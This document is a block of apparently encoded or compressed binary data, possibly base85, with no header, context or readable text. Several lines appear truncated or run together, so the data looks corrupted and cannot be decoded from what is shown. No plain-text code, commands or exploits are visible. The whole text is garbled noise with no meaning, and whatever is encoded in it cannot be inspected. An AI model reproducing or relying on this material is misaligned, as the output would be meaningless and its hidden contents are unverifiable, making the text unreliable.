z99NpY;f@}F%)wAMk{=u@DEl-&q@@Wb{W(AnL~+c#vk7@$1ASqlBE%@B&A4`d;As6AD;bfN~x)_BHpys znHgMPVYF+Sb&}z^-`$A$#5Jq1w?O#ZjynbIvR>^C2e9{82=Hy3;~g_bRNz5!#lLoL z0&eL#(*v6L4~T#^cV&yJgKJv+}L(?5FqQCiHJ` z6Z*F}Pc#NMeSO<|FWw40Chz~K5@RBM;fp#>p-^rg&gVF^K4HJ%`JY=Zn1q&{UvPVz zl^kx|VJC2#O0i!o<+&EG{Zy7;{1MMLE#%+ks1*$_Cp6hTX=pz^Mw`T=bCZPm9{L|nfZ*m6AhHy^7p&7*j(;O090#)JbyHO;ZaT*l!%Hta|J8ki z>NhK27g&vTGMkmVjzu3hHxTRIb6)XX(A1&Ql-bVXzLHnth<=($L_wQUIErieHqHd; zYs9R?M7D1Z`{!mr2YMMhYbHQg0wd%c1upchz4S+WGoxGcy2?o= zM-Sg|adn6yd`(lBW&Zhj}2 z$>*>-rp8(0^V3cw9niIPEs68IZkFnWyba}3o!17Yh@6l1l*Yj#p`K1@n__v{S#)xR zb!B^5h4q&F@ zgkAH+z8lW!V88p$Oo+PEQLBav`D<|JiadS|x9@(;;z-NE?P^$w=qkSi6}|3o5pd-U zz~y#Ymj)(Ow#Cj!UhKPk{?KDfS5;K^wL7d8)D#|+QwZ(Sj>BmHStIJ;d zbOS3$#O;VJPW=h)no;$KVQ0J*Ivh9oR@BPov9HOoN|R(y$Ex9S)*72tS>-Ge#2VQq zC)aUVtK>)L* zLcHjLzVDBu4)cf7Cc+*f`XdyVW0EL{>unu)@4)*ZyxX|ykd2eXEF1js-huZ+cqhDt ztcjhewqgEMbaM+2n+l!f<(MB-^{3H$D)JgFt_(Z)fiU_8Rsz7n(VS;~1m}_y1Zmt? zn6sSG;T&@_6BNN%s?fI-?m(HjE>U4dx0C8M8o!yNlg?K=fx{8XjMYt~x*@N$l)Lbq zQ{hmbRHHvMOjK<>sN2F2=WvNU^P+AGLmhZOh<6*eFk~xoiFOYDc<;dbLA(<_hTZ-{ z-RL|tW3qFgTr-fz;Jd&0_bGmkV_w42xl&(>UyM5c5D%C$oboQu`G5ZFSlw}UTCMvB zSE)OnY6~-9)9^)EVF&2bAo)X$IGe3yB_Wi<-wKlJp{ z`xI8a`c)lcC$-WBg%?FdaM%>a>D9m$d5n(cLgeJ%Q#e2fc5eZWnZbCc`XTC+{e*9){4EuvWG*RnAJ9UK9l6}g; z;jbtt!)f(wxbj4p@PyJ3hws{!wGi>%9sP>J&*#EC%=4`4A=EXh=E>>iN0Py}Jf8S| zdWW$yB*V`4<1RXvz9GD!08i~bksD#^=ecDOe^)1p+!@wbIuxz3A%r@e+SUdBV4bLM zhr;PlKa>-P)X)uzfK}v2e7`{bKy)i$U~V*s&0!7bmfp2KYyi)u8vLOm z^bh!*PRBWXv1{c~>Mss!L(s_kgMze3(O4S%$hQOeKC6+G&}eB6QV1@JOo08`6STsq96FH~5Yn6cKK6R+t-M<572>tDZHi z183&Z<{@fx6WU;qAJE|vz!M<>_2ZeJqqGE8MA!*w)EDvF^c3)*5YOTTJvk%jpW2W` z@wiz#kVnHryicVzc{F`vBxOVc_}x!Da*Fapx~WK)c#VVHNQJye<;r~_VR18ud^mn& z1LbjwfkBX`iYrBY%T@U!6F~!34g3J3KeA87X1IDBe!dZWAUi2u3*vdj&d@ul{*W8A z;gkKL{*qzC`ZdLA$!WG>=xeFiffu3Qc;_gu$rm8VkQjx^$XPV|vHQo|^J;>V$W z{QOk#CHODK?}KHv{jM{#jQS>I$ct}-X5#u`SDv=@is)DwHolAYqP7#zrr-%4eeDM1 zS%-4;cljf6zuy+IRa%v-rBLAH3&);8ru@V24)zAo_h+X(-N%EuIp5#a9{@bzSNAMwXAK9xI)@NP!@j4<$| z%KM3fykC7w*f<=AE>EfsiYM-F^C5Vr*Q@=p^ zVTwy~WoTTH;`KZcav*N%q{a~S8;V<`=|Xzme@mD8ksf@{ySeZH?_ZG%JdHm($PLCO zMTn<(w-89!+n!(ibUB`aN@G zgPQ*T#%s$|UMo`s#ipQ-hDgR&A%BwR+yXzw?TsP(4D4pi_J?c>HipDy8$;|CqG57a zU^k*Hi@8hEQ(LS}{Mx0;Y{+wmN(YjWkbw~zF9bG!KF_MTcT@bfcT=oh|<-{=4FZ3D`}=Qf88;OBVA z{h2eB$U6lK6(~II4UkcMQDekE9en~iQA~HEaVCU(R2pzP>d%lPTq<-Ug~qrmVU%{< z#06pggN61--+#!CHgD(OhP(k!`jfXI%>@yG^D9u?)bBXt0eN5mj@}0~^E_8c2h9m2`7Tg8?j?^m(NFzkbW3&4D8rc}oXOL$o)I*Ui#KrHSX27SX0? z80kF?iUVQMQeZ!M!80=SX9@gM?GOD(%g(fMg5sN;rL@VLmAJY_MTarUpoPX^1Gq4 zjnG|yjmJUf1s|mGMehm%^Q!ZZz8ioKh5AxCZ0JXvw=~RC*^sv0hi9ih5-&ZjJaxkc z2Rf7gx4`M5^bKgA=#$Xl(3j|Y^xX(_S+I1qI_6~) zb|5>@OT20w@}55A9Xz1&_o>-vNw{vf?;Hnurl5@k$AMmI1L7aPx-^V&6gnq#V&is{ zkNm46G>$O`ut^;odg77RSd{Vgt^+-fnG|((6vhW{o804`nGF(k5;5K_VxS} zbYRuhVf5*Q{VGjbdoWjvAUy%;X)A!?hx~+*YMmBFG;CvdF57UJbAWF#?`Wd$kvIH$ z=CU0<)hGkCBb66)cs>g{Jo;Jq7ZeX=H6k9$2$K8L@cn7Rkt9E&0nw89?{(Dwp_rqz zjGzO@(jr6$v;^V7%th9_?bJ7RuD z_!*&-kAffJq0JT0uCa16)-n=w;;7Atp7bO~<2`sF#Hr=*ha_Mo?x1=BLlk95I0HVH zP=<8JM$nMjqqT?T5*pB&aAx(WKaNKy#NkQvAsrh?qZestP~NjVI}-)3Ym|nt0r;3E zALxj@c$sMUn^XV%+x1~X*Y+@B(hg!c{_xy?3jHCX@7x|<_cF!Vc1mBj9rW;rD$vfi ztMp$SNs#?%@iOR-HaE(f(j>>e;gH9c3iO3^v|S>~n>pSeNx*jn$I&*Z50#U!J_&1+ z>LE_t2h31^Xs%;>59>r8zU^v#b+Ni?9Da<&B%7;M8B18EBx@6qP6Fak`e{g8&u)rn zWq$~I0cdg)c#Bzxx2e1bQCJzAwzHDQce2HQ|4{?LY0ceGyu(Pc5> z>QHv@vRZbc6Jd=~nb%TT!Oteq+cQIK=`jFLR|4*?fH+L_t8*mcDTC|-?WxZ!jtrKc z>Vh;AIK*3v^o*##5pjs0c%-d~m4|o(Lk~&GnGE1GXqilk%ea&~r5PbJWY=fNV3O z&B0$tCj_Mhya4`$e9%BI`TtV}hIUoUVFa(B9sbucbooQZSQ#{87BEafhgezuhO!Kn zV+LU=!d5}!rQ}$z_6g2Qef7;#Pk{H9Da2ntLtlLpZs>FGsU(@=J#nf=LS4asHAtWM zsSV|P^zwkLB>5I!4Lcg>O8wXXnh+nNzo0!a_Mv^IfNs>!zJok5I-oCrmV^C}`l=Qf z*BZw$m9H>{S?IgxkUsJH6U3hwvq|Rgb?DFFgKS{NYUK4{=35wMVsj5yjWNT^!s+7n z9+Ql5gW3~w7Qx|+w`Enc1Sq^PmHzt?}>FzUu!|Y6Zg> z)%kIRbv~}7fF^OMOQ-awRK2{3*T|cOskp)HX3)joh`zCvbG#Q35I2!klV2A2u9yQ} zGAC)mTcr)icTt4KH}tpZJl-qt{w(T)lhEiRegW+;jA*QpHig0GYQH~rssGGW;My{o z#w6+|2&eK;xu~t6B%jvE{?PA8e?WTB>!7<;N5&zZ#<8=9aG!a0Z{+!x{h`O< zS0ir3xOQ*E2-?zEuVI_QHE1uAy)mBrAwOU^lTDfOOG19*!5371Bl?=w0Xr1zL?YYR zGgdsLeGugsj3-L1Jz0ngBp!7RoR9V(JqY=!W71yKjmpoECw(&wap_5Y@*1QAI)`^r zeI%40b>d6kiCpz4J6=QH1!D zz9(BK)eZdiss_9bc?k*?vN*uY}7Yj-iUrZ zFmAqnEu=om$)UVdpZ?3hd&lzA!TH2%0CyLbs>eoWT?8tId)PltOQ&I`8}j>`WU z>cX4Qcag?aj4L+0lWgU>Tw&wyQx(?LJY0Bt<4EvASOYs=D!u^*t%a{l4^I_0YM((m z8u4AwYeA#~X=T?V-wJ;y8;<2D|O{F#7iyd~;e5-$5H~>_NV2_(MpCp&ya{30k3VzpJJhaCpCH zQsdM_>SOr>YaGceA)O(CFo997Ge+q)(4$rDH)s#&o$RC+JhM5qLD?XoKAl-cxiMG6w;E$hy2f~L z_yv4N{TBGJAO++wc!bJA^@H8&OeyL|bOH}=CBK_vbwuA+%S*qf5)DAF5~3B_%I+Cx zGo53DVub&AqA_#`(!D8dJ?K$g_vjlY6tGk;}syN`Y5P>pV5zU}epLq=LM8_?#Z{3A=7mc@==av|~;i;?%TPb0yPVt>$%Dz*!MBm>@2eKu4 z)u$NyEnfK@i1~M^Po9hZolk|c!4<)k!p(SQ-k_ zfV06B!Ii?zhjYW-4c7qI1lIxg3f$XpLAVgyH;S4D*U)*9Yl7>5d!_Rt)q!j9!w;?l z?iIi4#}w3cG~^4~!hm|y{51vgQBwBxR6sV-cUOxu`Ts+l%Kuj!$M*23|5qGwdwA=A z#L+tf=#LB4`E`8kU6mJDvx;|g^=QD~8nF@jTMNbnFW#Y7qJEIDkgYE0FkR|gSb)C7 z5Jq!hs%Iy7ik_tJVw{Vp`Yy&5=$RNZ{h=I`W2n9h-R^Wh-BkhE%+(<+8Q*xfhx_*r z=surfeD1{f$RHc!w-aP`{6rF-6pb>HAMnPO9%<7?qv;zlQ%SNXL(FN#9|j5{d)v z_7XevX=aS{kLSbOnDrPl2EK({J>7}8kaw0>P#*e*AJf(TDu>9-Ce0Vd6l9Q{h`em?{t3Ti?u80{+wC{AIbn-1Zfq6 z_R|^c#T;zK6rV%?r@n!G6QuJG$Qj73Oz{76zRr-xi?c-DPeK7Wy>}68#qTS6ZyTP^ zDV(@!~ctZ zI<`}ZGyW9w;+rrRTFed7jn+v*cuQ%0p2oYuFzn$dHKzIJV;@H;_Hn3TgeA